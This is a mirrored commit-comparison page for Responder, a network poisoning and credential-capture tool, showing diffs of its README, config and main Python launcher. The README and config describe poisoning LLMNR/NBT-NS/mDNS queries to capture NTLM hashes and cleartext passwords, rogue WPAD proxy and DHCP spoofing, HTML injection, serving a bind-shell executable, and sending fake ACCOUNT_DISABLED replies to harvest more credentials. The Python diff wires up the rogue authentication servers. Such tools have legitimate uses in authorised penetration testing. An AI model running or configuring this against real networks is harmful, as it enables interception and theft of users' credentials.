mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-25 08:59:03 +00:00
Compare commits
95 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0713c0350f | ||
|
|
c6e401c229 | ||
|
|
a814d0de81 | ||
|
|
d81ef9c33a | ||
|
|
7054c60f38 | ||
|
|
196eded194 | ||
|
|
3d3a19f66b | ||
|
|
48936d8953 | ||
|
|
cd09e19a93 | ||
|
|
5d83778ac7 | ||
|
|
ab67070a2b | ||
|
|
5f1fa4a00f | ||
|
|
bfe57d28ac | ||
|
|
2cdeef3c83 | ||
|
|
92c9191bda | ||
|
|
35d933d596 | ||
|
|
fb69f14f69 | ||
|
|
3e2e375987 | ||
|
|
ad9ce6e659 | ||
|
|
04c270f6b7 | ||
|
|
29ad8a0816 | ||
|
|
23151fee42 | ||
|
|
82fe64dfd9 | ||
|
|
c3372d9bb6 | ||
|
|
881dae59cf | ||
|
|
ecd62c322f | ||
|
|
1d99ab648f | ||
|
|
b34fee1d8c | ||
|
|
85d7974513 | ||
|
|
2e1651f8fd | ||
|
|
8b65b763ad | ||
|
|
a9c2b297c6 | ||
|
|
a765a8f094 | ||
|
|
b5caa27445 | ||
|
|
d9258e2dd8 | ||
|
|
0bdc183093 | ||
|
|
25c8aeff8c | ||
|
|
393e5dba54 | ||
|
|
a81a9a31e4 | ||
|
|
dc26493305 | ||
|
|
994d02da23 | ||
|
|
480aaa73d0 | ||
|
|
b96df7a5e8 | ||
|
|
9b8af33fcd | ||
|
|
e4f40d7a76 | ||
|
|
4a32ce7779 | ||
|
|
fd98ef770d | ||
|
|
bb43557993 | ||
|
|
9a72afc6b5 | ||
|
|
08c3a90b40 | ||
|
|
eee552b895 | ||
|
|
a84b3513e1 | ||
|
|
e19e34997e | ||
|
|
133b933dc2 | ||
|
|
59337ab87d | ||
|
|
86fb1ab328 | ||
|
|
2e9dd48b86 | ||
|
|
2fb6a1c228 | ||
|
|
8e9205b102 | ||
|
|
f2a2ffbe87 | ||
|
|
04c841d34e | ||
|
|
6f8652c0fc | ||
|
|
df63c1fc13 | ||
|
|
165a362fde | ||
|
|
8171a96b9e | ||
|
|
f5a8bf0650 | ||
|
|
6e951c838a | ||
|
|
a66322a307 | ||
|
|
448db124cb | ||
|
|
e9bb86f42e | ||
|
|
98cf6dc4b2 | ||
|
|
83ee962ab6 | ||
|
|
0b4f961b79 | ||
|
|
8e24d506ff | ||
|
|
55658c3900 | ||
|
|
063b31e6ca | ||
|
|
7be76336d6 | ||
|
|
4906e7dbb7 | ||
|
|
fb42aa35a9 | ||
|
|
16e6464748 | ||
|
|
f0257bc919 | ||
|
|
0fec40c3b4 | ||
|
|
08535e5539 | ||
|
|
ac1789dd6c | ||
|
|
392257be36 | ||
|
|
6eca29d08c | ||
|
|
fdea6328d3 | ||
|
|
008b492c98 | ||
|
|
59e48e80dd | ||
|
|
8d7563ba35 | ||
|
|
d0f5b9a39e | ||
|
|
a4364ba8cb | ||
|
|
892f3a6ca7 | ||
|
|
b2830e0a4f | ||
|
|
6edc01d851 |
62
.gitignore
vendored
62
.gitignore
vendored
@@ -1,65 +1,5 @@
|
||||
/plugins/old_plugins/
|
||||
backdoored/
|
||||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
env/
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*,cover
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
|
||||
# Responder logs
|
||||
*.db
|
||||
*.txt
|
||||
*.log
|
||||
logs/*
|
||||
|
||||
|
||||
89
README.md
Executable file → Normal file
89
README.md
Executable file → Normal file
@@ -2,10 +2,10 @@
|
||||
|
||||
LLMNR/NBT-NS/mDNS Poisoner
|
||||
|
||||
(Original work by Laurent Gaffie <lgaffie@trustwave.com> http://www.spiderlabs.com)
|
||||
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
|
||||
|
||||
|
||||
|
||||
|
||||
## Intro ##
|
||||
|
||||
Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
|
||||
@@ -14,23 +14,23 @@ The concept behind this is to target our answers, and be stealthier on the netwo
|
||||
|
||||
## Features ##
|
||||
|
||||
- Built-in SMB Auth server.
|
||||
- Built-in SMB Auth server.
|
||||
|
||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. This functionality is enabled by default when the tool is launched.
|
||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default.
|
||||
|
||||
- Built-in MSSQL Auth server.
|
||||
- Built-in MSSQL Auth server.
|
||||
|
||||
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
|
||||
|
||||
- Built-in HTTP Auth server.
|
||||
- Built-in HTTP Auth server.
|
||||
|
||||
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
|
||||
|
||||
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
|
||||
|
||||
- Built-in HTTPS Auth server.
|
||||
- Built-in HTTPS Auth server.
|
||||
|
||||
Same as above. The folder certs/ containa 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
|
||||
Same as above. The folder certs/ contains 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
|
||||
|
||||
- Built-in LDAP Auth server.
|
||||
|
||||
@@ -40,48 +40,48 @@ In order to redirect LDAP Authentication to this tool, you will need to set the
|
||||
|
||||
This modules will collect clear text credentials.
|
||||
|
||||
- Built-in DNS server.
|
||||
- Built-in DNS server.
|
||||
|
||||
This server will answer type A queries. This is really handy when it's combined with ARP spoofing.
|
||||
|
||||
- Built-in WPAD Proxy Server.
|
||||
- Built-in WPAD Proxy Server.
|
||||
|
||||
This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is higly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
|
||||
This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is highly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
|
||||
|
||||
- Browser Listener
|
||||
- Browser Listener
|
||||
|
||||
This module allows to find the PDC in stealth mode.
|
||||
|
||||
- Fingerprinting
|
||||
- Fingerprinting
|
||||
|
||||
When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
|
||||
|
||||
- Icmp Redirect
|
||||
- Icmp Redirect
|
||||
|
||||
python tools/Icmp-Redirect.py
|
||||
|
||||
For MITM on Windows XP/2003 and earlier Domain members. This attack combined with the DNS module is pretty effective.
|
||||
|
||||
- Rogue DHCP
|
||||
- Rogue DHCP
|
||||
|
||||
python tools/DHCP.py
|
||||
|
||||
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
|
||||
|
||||
- Analyze mode.
|
||||
- Analyze mode.
|
||||
|
||||
This module allows you to see NBT-NS, BROWSER, LLMNR, DNS requests on the network without poisoning any responses. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet.
|
||||
|
||||
## Hashes ##
|
||||
|
||||
All hashes are printed to stdout and dumped in an unique file John Jumbo compliant, using this format:
|
||||
|
||||
|
||||
(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
|
||||
|
||||
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
|
||||
|
||||
- Responder will logs all its activity to Responder-Session.log
|
||||
- Analyze mode will be logged to Analyze-Session.log
|
||||
- Responder will logs all its activity to Responder-Session.log
|
||||
- Analyze mode will be logged to Analyze-Session.log
|
||||
- Poisoning will be logged to Poisoners-Session.log
|
||||
|
||||
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
|
||||
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
|
||||
|
||||
## Considerations ##
|
||||
|
||||
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
|
||||
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
|
||||
|
||||
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
|
||||
|
||||
@@ -101,6 +101,16 @@ Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dn
|
||||
|
||||
- This tool is not meant to work on Windows.
|
||||
|
||||
- For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
|
||||
|
||||
launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
|
||||
|
||||
launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
|
||||
launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
|
||||
|
||||
launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
|
||||
|
||||
## Usage ##
|
||||
|
||||
First of all, please take a look at Responder.conf and tweak it for your needs.
|
||||
@@ -111,47 +121,56 @@ Running the tool:
|
||||
|
||||
Typical Usage Example:
|
||||
|
||||
./Responder.py -I eth0 -wrf
|
||||
./Responder.py -I eth0 -rPv
|
||||
|
||||
Options:
|
||||
|
||||
--version show program's version number and exit
|
||||
-h, --help show this help message and exit
|
||||
--version show program's version number and exit.
|
||||
-h, --help show this help message and exit.
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||
BROWSER, LLMNR requests without responding.
|
||||
-I eth0, --interface=eth0
|
||||
Network interface to use
|
||||
Network interface to use.
|
||||
-i 10.0.0.21, --ip=10.0.0.21
|
||||
Local IP to use (only for OSX)
|
||||
-e 10.0.0.22, --externalip=10.0.0.22
|
||||
Poison all requests with another IP address than
|
||||
Responder's one.
|
||||
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
||||
-r, --wredir Enable answers for netbios wredir suffix queries.
|
||||
Answering to wredir will likely break stuff on the
|
||||
network. Default: False
|
||||
network. Default: Off
|
||||
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
|
||||
Answering to domain suffixes will likely break stuff
|
||||
on the network. Default: False
|
||||
on the network. Default: Off
|
||||
-f, --fingerprint This option allows you to fingerprint a host that
|
||||
issued an NBT-NS or LLMNR query.
|
||||
-w, --wpad Start the WPAD rogue proxy server. Default value is
|
||||
False
|
||||
Off
|
||||
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
|
||||
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
||||
outgoing requests (format: host:port)
|
||||
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
|
||||
retrieval. This may cause a login prompt. Default:
|
||||
False
|
||||
Off
|
||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||
authentication for the proxy. WPAD doesn't need to
|
||||
be ON. This option is highly effective when combined
|
||||
with -r. Default: Off
|
||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||
earlier. Default: False
|
||||
earlier. Default: Off
|
||||
-v, --verbose Increase verbosity.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Copyright ##
|
||||
|
||||
NBT-NS/LLMNR Responder
|
||||
Created by Laurent Gaffie
|
||||
Copyright (C) 2013 Trustwave Holdings, Inc.
|
||||
|
||||
|
||||
Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
|
||||
email: laurent.gaffie@gmail.com
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -161,6 +180,6 @@ This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
@@ -23,12 +23,15 @@ Database = Responder.db
|
||||
; Default log file
|
||||
SessionLog = Responder-Session.log
|
||||
|
||||
; Poisoiners log
|
||||
; Poisoners log
|
||||
PoisonersLog = Poisoners-Session.log
|
||||
|
||||
; Analyze mode log
|
||||
AnalyzeLog = Analyzer-Session.log
|
||||
|
||||
; Dump Responder Config log:
|
||||
ResponderConfigDump = Config-Responder.log
|
||||
|
||||
; Specific IP Addresses to respond to (default = All)
|
||||
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
|
||||
RespondTo =
|
||||
@@ -39,12 +42,25 @@ RespondToName =
|
||||
|
||||
; Specific IP Addresses not to respond to (default = None)
|
||||
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
|
||||
DontRespondTo =
|
||||
DontRespondTo =
|
||||
|
||||
; Specific NBT-NS/LLMNR names not to respond to (default = None)
|
||||
; Example: DontRespondTo = NAC, IPS, IDS
|
||||
DontRespondToName =
|
||||
DontRespondToName = ISATAP
|
||||
|
||||
; If set to On, we will stop answering further requests from a host
|
||||
; if a hash has been previously captured for this host.
|
||||
AutoIgnoreAfterSuccess = Off
|
||||
|
||||
; If set to On, we will send ACCOUNT_DISABLED when the client tries
|
||||
; to authenticate for the first time to try to get different credentials.
|
||||
; This may break file serving and is useful only for hash capture
|
||||
CaptureMultipleCredentials = On
|
||||
|
||||
; If set to On, we will write to file all hashes captured from the same host.
|
||||
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
|
||||
; domain\popo, domain\zozo. Recommended value: On, capture everything.
|
||||
CaptureMultipleHashFromSameHost = On
|
||||
|
||||
[HTTP Server]
|
||||
|
||||
@@ -52,7 +68,7 @@ DontRespondToName =
|
||||
Serve-Always = Off
|
||||
|
||||
; Set to On to replace any requested .exe with the custom EXE
|
||||
Serve-Exe = On
|
||||
Serve-Exe = Off
|
||||
|
||||
; Set to On to serve the custom HTML if the URL does not contain .exe
|
||||
; Set to Off to inject the 'HTMLToInject' in web pages instead
|
||||
@@ -68,7 +84,7 @@ ExeFilename = files/BindShell.exe
|
||||
ExeDownloadName = ProxyClient.exe
|
||||
|
||||
; Custom WPAD Script
|
||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
|
||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
|
||||
|
||||
; HTML answer to inject in HTTP responses (before </body> tag).
|
||||
; Set to an empty string to disable.
|
||||
|
||||
122
Responder.py
122
Responder.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,21 +14,22 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys
|
||||
import optparse
|
||||
import socket
|
||||
import thread
|
||||
import time
|
||||
import settings
|
||||
import ssl
|
||||
|
||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer
|
||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn
|
||||
from threading import Thread
|
||||
from utils import *
|
||||
|
||||
import struct
|
||||
banner()
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
|
||||
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
|
||||
parser.add_option('-I','--interface', action="store", help="Network interface to use", dest="Interface", metavar="eth0", default=None)
|
||||
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
|
||||
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
||||
|
||||
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
|
||||
|
||||
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
|
||||
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
|
||||
parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
|
||||
@@ -36,6 +37,9 @@ parser.add_option('-f','--fingerprint', action="store_true", help="This optio
|
||||
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
||||
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
||||
|
||||
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
|
||||
|
||||
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||
options, args = parser.parse_args()
|
||||
@@ -43,6 +47,10 @@ options, args = parser.parse_args()
|
||||
if not os.geteuid() == 0:
|
||||
print color("[!] Responder must be run as root.")
|
||||
sys.exit(-1)
|
||||
elif options.OURIP is None and IsOsX() is True:
|
||||
print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
settings.init()
|
||||
settings.Config.populate(options)
|
||||
@@ -72,6 +80,16 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||
except:
|
||||
pass
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.251"
|
||||
@@ -108,6 +126,7 @@ ThreadingUDPServer.allow_reuse_address = 1
|
||||
ThreadingTCPServer.allow_reuse_address = 1
|
||||
ThreadingUDPMDNSServer.allow_reuse_address = 1
|
||||
ThreadingUDPLLMNRServer.allow_reuse_address = 1
|
||||
ThreadingTCPServerAuth.allow_reuse_address = 1
|
||||
|
||||
def serve_thread_udp_broadcast(host, port, handler):
|
||||
try:
|
||||
@@ -155,89 +174,114 @@ def serve_thread_tcp(host, port, handler):
|
||||
except:
|
||||
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
|
||||
|
||||
def serve_thread_SSL(host, port, handler):
|
||||
def serve_thread_tcp_auth(host, port, handler):
|
||||
try:
|
||||
from servers.HTTP import SSLSock
|
||||
|
||||
if OsInterfaceIsSupported():
|
||||
server = SSLSock((settings.Config.Bind_To, port), handler)
|
||||
server = ThreadingTCPServerAuth((settings.Config.Bind_To, port), handler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = SSLSock((host, port), handler)
|
||||
server = ThreadingTCPServerAuth((host, port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
|
||||
|
||||
def serve_thread_SSL(host, port, handler):
|
||||
try:
|
||||
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((settings.Config.Bind_To, port), handler)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running."
|
||||
|
||||
def main():
|
||||
try:
|
||||
threads = []
|
||||
|
||||
# Load (M)DNS, NBNS and LLMNR Poisoners
|
||||
from poisoners.LLMNR import LLMNR
|
||||
from poisoners.NBTNS import NBTNS
|
||||
from poisoners.MDNS import MDNS
|
||||
thread.start_new(serve_LLMNR_poisoner, ('', 5355, LLMNR))
|
||||
thread.start_new(serve_MDNS_poisoner, ('', 5353, MDNS))
|
||||
thread.start_new(serve_NBTNS_poisoner, ('', 137, NBTNS))
|
||||
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
|
||||
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
|
||||
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
|
||||
|
||||
# Load Browser Listener
|
||||
from servers.Browser import Browser
|
||||
thread.start_new(serve_thread_udp_broadcast,('', 138, Browser))
|
||||
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
|
||||
|
||||
if settings.Config.HTTP_On_Off:
|
||||
from servers.HTTP import HTTP
|
||||
thread.start_new(serve_thread_tcp,('', 80, HTTP))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
|
||||
|
||||
if settings.Config.SSL_On_Off:
|
||||
from servers.HTTP import HTTPS
|
||||
thread.start_new(serve_thread_SSL,('', 443, HTTPS))
|
||||
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
|
||||
|
||||
if settings.Config.WPAD_On_Off:
|
||||
from servers.HTTP_Proxy import HTTP_Proxy
|
||||
thread.start_new(serve_thread_tcp,('', 3141, HTTP_Proxy))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,)))
|
||||
|
||||
if settings.Config.ProxyAuth_On_Off:
|
||||
from servers.Proxy_Auth import Proxy_Auth
|
||||
threads.append(Thread(target=serve_thread_tcp_auth, args=('', 3128, Proxy_Auth,)))
|
||||
|
||||
if settings.Config.SMB_On_Off:
|
||||
if settings.Config.LM_On_Off == True:
|
||||
if settings.Config.LM_On_Off:
|
||||
from servers.SMB import SMB1LM
|
||||
thread.start_new(serve_thread_tcp,('', 445, SMB1LM))
|
||||
thread.start_new(serve_thread_tcp,('', 139, SMB1LM))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1LM,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1LM,)))
|
||||
else:
|
||||
from servers.SMB import SMB1
|
||||
thread.start_new(serve_thread_tcp,('', 445, SMB1))
|
||||
thread.start_new(serve_thread_tcp,('', 139, SMB1))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1,)))
|
||||
|
||||
if settings.Config.Krb_On_Off:
|
||||
from servers.Kerberos import KerbTCP, KerbUDP
|
||||
thread.start_new(serve_thread_udp,('', 88, KerbUDP))
|
||||
thread.start_new(serve_thread_tcp,('', 88, KerbTCP))
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
|
||||
|
||||
if settings.Config.SQL_On_Off:
|
||||
from servers.MSSQL import MSSQL
|
||||
thread.start_new(serve_thread_tcp,('', 1433, MSSQL))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
|
||||
|
||||
if settings.Config.FTP_On_Off:
|
||||
from servers.FTP import FTP
|
||||
thread.start_new(serve_thread_tcp,('', 21, FTP))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 21, FTP,)))
|
||||
|
||||
if settings.Config.POP_On_Off:
|
||||
from servers.POP3 import POP3
|
||||
thread.start_new(serve_thread_tcp,('', 110, POP3))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 110, POP3,)))
|
||||
|
||||
if settings.Config.LDAP_On_Off:
|
||||
from servers.LDAP import LDAP
|
||||
thread.start_new(serve_thread_tcp,('', 389, LDAP))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 389, LDAP,)))
|
||||
|
||||
if settings.Config.SMTP_On_Off:
|
||||
from servers.SMTP import ESMTP
|
||||
thread.start_new(serve_thread_tcp,('', 25, ESMTP))
|
||||
thread.start_new(serve_thread_tcp,('', 587, ESMTP))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 25, ESMTP,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 587, ESMTP,)))
|
||||
|
||||
if settings.Config.IMAP_On_Off:
|
||||
from servers.IMAP import IMAP
|
||||
thread.start_new(serve_thread_tcp,('', 143, IMAP))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 143, IMAP,)))
|
||||
|
||||
if settings.Config.DNS_On_Off:
|
||||
from servers.DNS import DNS, DNSTCP
|
||||
thread.start_new(serve_thread_udp,('', 53, DNS))
|
||||
thread.start_new(serve_thread_tcp,('', 53, DNSTCP))
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,)))
|
||||
|
||||
for thread in threads:
|
||||
thread.setDaemon(True)
|
||||
thread.start()
|
||||
|
||||
print color('[+]', 2, 1) + " Listening for events..."
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
